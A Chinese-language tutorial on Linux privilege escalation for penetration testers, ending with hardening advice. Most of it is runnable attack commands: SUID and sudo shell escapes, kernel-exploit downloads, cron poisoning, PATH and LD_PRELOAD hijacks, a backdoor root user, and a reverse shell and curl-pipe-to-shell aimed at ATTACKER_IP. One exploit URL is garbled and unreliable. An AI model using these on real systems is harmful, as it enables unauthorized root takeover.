在渗透测试中,获取初始 Shell 往往只是一个低权限用户(如 www-data、nobody),要真正控制目标系统,我们需要进行权限提升(Privilege Escalation),将普通用户权限提升为 root。Linux 提权是一门系统化的技术,涉及文件权限、内核漏洞、系统配置缺陷等多个维度。本文将全面讲解 Linux 环境下的各种提权技术,从原理到实战,帮助你掌握从低权限到 root 的完整路径。
Linux 权限模型基础
在开始提权之前,我们需要理解 Linux 的权限模型:
# 查看当前用户身份
id
whoami
groups
# 查看 /etc/passwd(所有用户)
cat /etc/passwd
# 查看 /etc/shadow(密码哈希,需root权限)
cat /etc/shadow
# Linux 权限体系核心概念:
# UID 0 = root(超级管理员)
# 文件权限:rwx (读/写/执行)
# 特殊权限:SUID(4), SGID(2), Sticky Bit(1)
# SUID:程序以文件所有者身份运行
# SGID:程序以文件所属组身份运行
# 查看文件权限
ls -la /usr/bin/passwd
# -rwsr-xr-x 1 root root 68208 /usr/bin/passwd
# 's' 表示 SUID 位被设置,任何用户执行该程序时以 root 身份运行
提权信息收集
在尝试提权之前,首先需要全面了解目标系统的配置。
# 操作系统和内核信息
uname -a
cat /etc/os-release
cat /etc/issue
hostnamectl
# 当前用户权限
id
sudo -l # 查看 sudo 配置(非常重要!)
cat /etc/sudoers # 需要权限
# 系统中的其他用户
cat /etc/passwd | grep -v nologin | grep -v false
ls -la /home/
# 网络信息
ifconfig / ip addr
netstat -tulnp / ss -tulnp
route -n
# 运行中的进程
ps aux
ps aux | grep root # 查看 root 进程
# 定时任务
crontab -l # 当前用户的 cron
ls -la /etc/cron* # 系统级 cron
cat /etc/crontab
systemctl list-timers # systemd 定时器
# 可写目录和文件
find / -writable -type d 2>/dev/null
find / -writable -type f 2>/dev/null
# 查看环境变量
env
echo $PATH
SUID/SGID 提权
SUID(Set User ID)是 Linux 提权中最经典的攻击面之一。当一个可执行文件设置了 SUID 位时,任何用户运行该程序时都会以文件所有者(通常是 root)的身份执行。
查找 SUID 文件
# 查找所有 SUID 文件
find / -perm -u=s -type f 2>/dev/null
# 查找所有 SGID 文件
find / -perm -g=s -type f 2>/dev/null
# 同时查找 SUID 和 SGID
find / -perm -4000 -o -perm -2000 2>/dev/null
# 更详细的输出
find / -perm -u=s -type f -exec ls -la {} \; 2>/dev/null
# 常见的正常 SUID 程序
# /usr/bin/passwd, /usr/bin/sudo, /usr/bin/mount, /usr/bin/ping
# 如果发现以下程序有 SUID 位,则可能被利用:
# /usr/bin/find, /usr/bin/vim, /usr/bin/python, /usr/bin/bash
# /usr/bin/nmap, /usr/bin/less, /usr/bin/cp, /usr/bin/env
GTFOBins 利用
GTFOBins(https://gtfobins.github.io/)是一个收集了各种 Unix 二进制文件提权方法的项目。以下是常见的 SUID 提权示例:
# === find 提权 ===
# 如果 find 有 SUID 位
find . -exec /bin/sh -p \; -quit
# === vim 提权 ===
vim -c ':!/bin/sh'
# === python 提权 ===
python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'
# === bash 提权 ===
# 如果 bash 有 SUID 位
bash -p
# === nmap 提权(旧版本)===
# nmap 2.02 - 5.21 有交互模式
nmap --interactive
!sh
# === env 提权 ===
env /bin/sh -p
# === less/more 提权 ===
less /etc/passwd
!/bin/sh
# === cp 提权 ===
# 复制 /etc/passwd,添加 root 用户
# 生成密码哈希
openssl passwd -1 -salt hacker password123
# 结果: $1$hacker$6luIRwdGpBvXdP.GMwcZp/
# 添加到 passwd 文件
echo 'hacker:$1$hacker$6luIRwdGpBvXdP.GMwcZp/:0:0::/root:/bin/bash' >> /tmp/passwd
cp /tmp/passwd /etc/passwd
# su 切换到新用户
su hacker
# 密码: password123
# === node 提权 ===
node -e 'require("child_process").spawn("/bin/sh", ["-p"], {stdio: [0, 1, 2]})'
# === perl 提权 ===
perl -e 'exec "/bin/sh";'
# === ruby 提权 ===
ruby -e 'exec "/bin/sh"'
# === php 提权 ===
php -r "pcntl_exec('/bin/sh', ['-p']);"
内核漏洞提权
当系统内核版本较旧时,可能存在已知的内核漏洞可以直接获取 root 权限。
检测内核版本
# 查看内核版本
uname -r
uname -a
cat /proc/version
# 常见的可利用内核版本范围
# Linux 2.6.x - 3.x: 大量历史漏洞
# Linux 4.x: DirtyCow (CVE-2016-5195)
# Linux 5.x: DirtyPipe (CVE-2022-0847)
DirtyCow(CVE-2016-5195)
DirtyCow 是 Linux 内核中一个存在了近 10 年的竞态条件漏洞,影响 Linux 2.6.22 至 4.8.3 之间的所有内核版本。
# 检查是否受影响
uname -r
# 如果版本在 2.6.22 - 4.8.3 之间,可能受影响
# 方法一:使用 dirtycow 修改 /etc/passwd
# 下载利用代码
wget https://www.exploit-db.com/download/40839 -O dirty.c
# 编译
gcc -pthread dirty.c -o dirty -lcrypt
# 运行(会创建一个新的 root 用户 "firefart")
./dirty my_new_password
# 登录
su firefart
# 密码: my_new_password
# 方法二:使用 cowroot
wget https://gist.githubusercontent.com/rverton/e9d4ff65d703a9084e85fa9df083c679/raw/cowroot.c
gcc cowroot.c -o cowroot -pthread
./cowroot
DirtyPipe(CVE-2022-0847)
DirtyPipe 影响 Linux 5.8 至 5.16.11 之间的内核版本,可以覆写任意只读文件。
# 检查是否受影响
uname -r
# 需要 5.8 <= kernel < 5.16.11 (或特定修补版本)
# 下载利用代码
wget https://raw.githubusercontent.com/AlexisAhworworworworworworworworwor/CVE-2022-0847-DirtyPipe-Exploits/main/exploit-1.c
# 编译并运行
gcc exploit-1.c -o exploit
./exploit
# 方法:覆写 /etc/passwd 中 root 的密码字段获取 root
使用自动化工具检测内核漏洞
# linux-exploit-suggester
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
chmod +x linux-exploit-suggester.sh
./linux-exploit-suggester.sh
# linux-exploit-suggester2 (Python版本)
wget https://raw.githubusercontent.com/jondonas/linux-exploit-suggester-2/master/linux-exploit-suggester-2.pl
perl linux-exploit-suggester-2.pl
Cron 定时任务提权
Cron 定时任务是 Linux 系统的任务调度机制。如果 root 用户的 cron 任务执行的脚本对当前用户可写,就可以被利用来提权。
发现可利用的 Cron 任务
# 查看系统级 crontab
cat /etc/crontab
# 查看所有 cron 目录
ls -la /etc/cron.d/
ls -la /etc/cron.daily/
ls -la /etc/cron.hourly/
ls -la /etc/cron.weekly/
ls -la /etc/cron.monthly/
# 查看各用户的 cron 任务
ls -la /var/spool/cron/crontabs/
# 使用 pspy 监控进程(无需root权限)
# pspy 可以检测到定时任务执行时的进程
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
chmod +x pspy64
./pspy64
可写脚本提权
# 假设发现 /etc/crontab 中有以下条目:
# * * * * * root /opt/scripts/backup.sh
# 检查脚本权限
ls -la /opt/scripts/backup.sh
# 如果当前用户对该脚本有写权限
# 方法一:写入反弹 Shell
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /opt/scripts/backup.sh
# 攻击机监听
nc -lvnp 4444
# 方法二:添加 SUID bash
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /opt/scripts/backup.sh
# 等待 cron 执行后
/tmp/rootbash -p
# 获得 root shell
# 方法三:将当前用户加入 sudoers
echo 'echo "username ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers' >> /opt/scripts/backup.sh
# 等待执行后
sudo su
PATH 劫持提权
如果 cron 任务中的脚本调用了命令但没有使用绝对路径,可以通过修改 PATH 环境变量来劫持。
# 假设 cron 脚本内容为:
# #!/bin/bash
# cd /tmp && tar czf /backup/backup.tar.gz *
# 如果 crontab 中 PATH 包含可写目录(如 /tmp 或 /home/user)
# 或者脚本中调用的命令没有使用绝对路径
# 创建恶意的 tar 命令
echo '#!/bin/bash' > /tmp/tar
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /tmp/tar
chmod +x /tmp/tar
# 如果 PATH 中 /tmp 在 /usr/bin 之前
# cron 执行时会调用我们的假 tar
# 等待执行后
/tmp/rootbash -p
# === 通配符注入 ===
# 如果 cron 脚本中使用了通配符,如:
# tar czf /backup/backup.tar.gz *
# 可以利用 tar 的参数注入
cd /tmp
echo "" > "--checkpoint=1"
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo '#!/bin/bash' > shell.sh
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> shell.sh
chmod +x shell.sh
环境变量提权
PATH 劫持
# 如果发现 SUID 程序内部调用了系统命令(未使用绝对路径)
# 例如一个 SUID 程序调用了 "service apache2 restart"
# 使用 strings 查看程序调用的命令
strings /usr/local/bin/suid_program
# 创建恶意的 service 命令
echo '/bin/bash -p' > /tmp/service
chmod +x /tmp/service
# 修改 PATH(将 /tmp 放在最前面)
export PATH=/tmp:$PATH
# 执行 SUID 程序
/usr/local/bin/suid_program
# 获得 root shell
LD_PRELOAD 提权
如果 sudo 配置中保留了 LD_PRELOAD 环境变量,可以用来提权。
# 检查 sudo 配置
sudo -l
# 如果输出包含: env_keep += LD_PRELOAD
# 创建恶意共享库
cat > /tmp/shell.c << 'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setresuid(0, 0, 0);
system("/bin/bash -p");
}
EOF
# 编译为共享库
gcc -fPIC -shared -nostartfiles -o /tmp/shell.so /tmp/shell.c
# 使用 LD_PRELOAD 执行任意允许的 sudo 命令
sudo LD_PRELOAD=/tmp/shell.so find
# 获得 root shell
Sudo 配置错误利用
sudo -l 是提权枚举中最重要的命令之一,它会显示当前用户可以以 root 身份运行哪些命令。
# 查看 sudo 权限
sudo -l
# === 常见可利用的 sudo 配置 ===
# (root) NOPASSWD: /usr/bin/vim
sudo vim -c ':!/bin/bash'
# (root) NOPASSWD: /usr/bin/find
sudo find / -exec /bin/bash \; -quit
# (root) NOPASSWD: /usr/bin/python3
sudo python3 -c 'import os; os.system("/bin/bash")'
# (root) NOPASSWD: /usr/bin/perl
sudo perl -e 'exec "/bin/bash";'
# (root) NOPASSWD: /usr/bin/ruby
sudo ruby -e 'exec "/bin/bash"'
# (root) NOPASSWD: /usr/bin/less
sudo less /etc/hosts
!/bin/bash
# (root) NOPASSWD: /usr/bin/awk
sudo awk 'BEGIN {system("/bin/bash")}'
# (root) NOPASSWD: /usr/bin/man
sudo man man
!/bin/bash
# (root) NOPASSWD: /usr/bin/ftp
sudo ftp
ftp> !/bin/bash
# (root) NOPASSWD: /usr/bin/socat
sudo socat stdin exec:/bin/bash
# (root) NOPASSWD: /usr/bin/zip
sudo zip /tmp/1.zip /tmp/1 -T --unzip-command="sh -c /bin/bash"
# (root) NOPASSWD: /usr/bin/tar
sudo tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
# (root) NOPASSWD: /usr/bin/env
sudo env /bin/bash
# (root) NOPASSWD: /usr/bin/nano
sudo nano
# Ctrl+R, Ctrl+X
# 输入: reset; bash 1>&0 2>&0
# (root) NOPASSWD: /usr/bin/apache2
# 读取敏感文件
sudo apache2 -f /etc/shadow
自动化枚举工具
LinPEAS
LinPEAS 是最强大的 Linux 提权枚举脚本,会自动检测几乎所有可能的提权路径。
# 下载 LinPEAS
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
# 在目标机器上运行
chmod +x linpeas.sh
./linpeas.sh
# 将输出保存到文件
./linpeas.sh | tee linpeas_output.txt
# 如果目标机器无法下载,可以通过攻击机传输
# 攻击机启动 HTTP 服务
python3 -m http.server 8000
# 目标机下载并执行
curl http://ATTACKER_IP:8000/linpeas.sh | sh
# LinPEAS 检测项目包括:
# - 系统信息和内核版本
# - 可利用的 SUID/SGID 文件
# - Sudo 配置错误
# - Cron 任务
# - 可写文件和目录
# - 敏感文件(密码、密钥)
# - Docker/LXC 容器逃逸
# - 内核漏洞建议
LinEnum
# 下载并运行
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh -t
# 详细模式
./LinEnum.sh -t -k password -e /tmp/output -r report.txt
linux-smart-enumeration
# 下载
wget https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh
chmod +x lse.sh
# 不同级别的扫描
./lse.sh -l 0 # 只显示重要发现
./lse.sh -l 1 # 显示有趣的信息
./lse.sh -l 2 # 显示所有信息
安全建议与防御措施
- 最小权限原则:用户和进程只授予必要的最小权限
- 定期审计 SUID 文件:
find / -perm -4000 -type f,移除不必要的 SUID 位 - 严格管理 sudo 配置:避免
NOPASSWD,限制可执行的命令范围 - 及时更新内核:关注 CVE 公告,及时修补内核漏洞
- 审查 Cron 任务:确保脚本权限正确(root 脚本只有 root 可写),使用命令绝对路径
- 保护环境变量:sudo 配置中使用
env_reset,移除LD_PRELOAD等危险变量 - 部署 SELinux/AppArmor:强制访问控制可以限制提权后的操作范围
- 文件完整性监控:使用 AIDE、Tripwire 等工具监控关键系统文件的变更
- 日志审计:开启详细的审计日志(auditd),监控异常的权限变更操作
总结
Linux 提权是渗透测试中至关重要的环节,也是安全攻防对抗的核心战场。本文系统地讲解了 SUID/SGID 提权、内核漏洞提权、Cron 定时任务利用、环境变量劫持、sudo 配置错误利用等多种提权技术,并介绍了 LinPEAS、LinEnum 等自动化枚举工具。提权的核心思路是发现系统配置中的”不一致”——权限配置错误、版本过旧、信任关系不当等。在实战中,建议综合使用自动化工具和手动检查,不遗漏任何可能的提权路径。下一篇文章我们将进入后渗透阶段,学习如何在获取 root 权限后维持访问、建立隧道和进行横向移动。